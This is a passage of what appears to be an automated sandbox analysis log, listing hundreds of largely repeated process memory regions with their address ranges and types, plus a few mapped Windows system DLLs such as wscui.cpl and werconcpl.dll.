id = 1998 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 1999 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2000 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2001 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2002 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2003 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2004 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2005 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2006 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2007 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2008 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2009 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2010 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2011 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2012 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2013 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2014 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2015 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2016 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2017 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2018 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2019 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2020 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2021 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2022 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2023 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2024 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2025 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2026 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2027 start_va = 0x2c80000 end_va = 0x2c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c80000" filename = "" Region: id = 2028 start_va = 0x2ce0000 end_va = 0x2d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ce0000" filename = "" Region: id = 2029 start_va = 0x4ea0000 end_va = 0x4f1ffff entry_point = 0x0 region_type = private name = "private_0x0000000004ea0000" filename = "" Region: id = 2030 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 2031 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2032 start_va = 0x2c90000 end_va = 0x2c98fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c90000" filename = "" Region: id = 2033 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2034 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2035 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2036 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2037 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2038 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2039 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2040 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2041 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2042 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2043 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2044 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2045 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2046 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2047 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2048 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2049 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2050 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2051 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2052 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2053 start_va = 0x2c80000 end_va = 0x2c88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2054 start_va = 0xa470000 end_va = 0xb13cfff entry_point = 0x0 region_type = private name = "private_0x000000000a470000" filename = "" Region: id = 2055 start_va = 0x2c80000 end_va = 0x2c81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c80000" filename = "" Region: id = 2056 start_va = 0x4f20000 end_va = 0x5140fff entry_point = 0x0 region_type = private name = "private_0x0000000004f20000" filename = "" Region: id = 2057 start_va = 0x8470000 end_va = 0x8751fff entry_point = 0x0 region_type = private name = "private_0x0000000008470000" filename = "" Region: id = 2058 start_va = 0xb140000 end_va = 0xbe0cfff entry_point = 0x0 region_type = private name = "private_0x000000000b140000" filename = "" Region: id = 2059 start_va = 0x7fee7460000 end_va = 0x7fee757efff entry_point = 0x7fee7460000 region_type = mapped_file name = "wscui.cpl" filename = "\\Windows\\System32\\wscui.cpl" (normalized: "c:\\windows\\system32\\wscui.cpl") Region: id = 2060 start_va = 0x7fee7e70000 end_va = 0x7fee7e97fff entry_point = 0x7fee7e70000 region_type = mapped_file name = "wscinterop.dll" filename = "\\Windows\\System32\\wscinterop.dll" (normalized: "c:\\windows\\system32\\wscinterop.dll") Region: id = 2061 start_va = 0x7fee8030000 end_va = 0x7fee8042fff entry_point = 0x7fee8030000 region_type = mapped_file name = "wscapi.dll" filename = "\\Windows\\System32\\wscapi.dll" (normalized: "c:\\windows\\system32\\wscapi.dll") Region: id = 2062 start_va = 0x8ba0000 end_va = 0x921cfff entry_point = 0x0 region_type = private name = "private_0x0000000008ba0000" filename = "" Region: id = 2063 start_va = 0x2c90000 end_va = 0x2ccbfff entry_point = 0x0 region_type = private name = "private_0x0000000002c90000" filename = "" Region: id = 2321 start_va = 0x7fee7320000 end_va = 0x7fee745bfff entry_point = 0x7fee7320000 region_type = mapped_file name = "werconcpl.dll" filename = "\\Windows\\System32\\werconcpl.dll" (normalized: "c:\\windows\\system32\\werconcpl.dll") Region: id = 2322 start_va = 0x7fee7750000 end_va = 0x7fee779bfff entry_point = 0x7fee7750000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 2323 start_va = 0x7fee7e50000 end_va = 0x7fee7e68fff entry_point = 0x7fee7e50000 region_type = mapped_file name = "wercplsupport.dll" filename = "\\Windows\\System32\\wercplsupport.dll" (normalized: "c:\\windows\\system32\\wercplsupport.dll") Region: id = 2325 start_va = 0x2cd0000 end_va = 0x2cdffff entry_point = 0x0 region_type = private name = "private_0x0000000002cd0000" filename = "" Region: id = 2326 start_va = 0x2d60000 end_va = 0x2d63fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d60000" filename = "" Region: id = 2327 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2328 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2329 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2330 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2331 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2332 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2333 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2334 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2335 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2336 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2337 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2338 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2339 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2340 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2341 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2342 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2343 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2344 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2345 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2346 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2347 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2348 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2349 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2350 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2351 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2352 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2353 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2354 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2355 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2356 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2357 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2358 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2359 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2360 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2361 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2362 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2363 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2364 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2365 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2366 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2367 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2368 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2369 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2370 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2371 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2372 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2373 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2374 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2375 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2376 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2377 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2378 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2379 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2380 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2381 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2382 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2383 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2384 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2385 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2386 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2387 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2388 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2389 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2390 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2391 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2392 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2393 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2394 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2395 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2396 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2397 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2398 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2399 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2400 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2401 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2402 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2403 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2404 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2405 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2406 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2407 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2408 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2409 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2410 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2411 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2412 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2413 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2414 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2415 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2416 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2417 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2418 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2419 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2420 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2421 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2422 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2423 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2424 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2425 start_va = 0x2cd0000 end_va = 0x2cdffff entry_point = 0x0 region_type = private name = "private_0x0000000002cd0000" filename = "" Region: id = 2426 start_va = 0x2d60000 end_va = 0x2d68fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d60000" filename = "" Region: id = 2427 start_va = 0x2cd0000 end_va = 0x2cd8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2428 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2429 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2430 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2431 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2432 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2433 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2434 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2435 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2436 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2437 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2438 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2439 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2440 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2441 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2442 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2443 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" 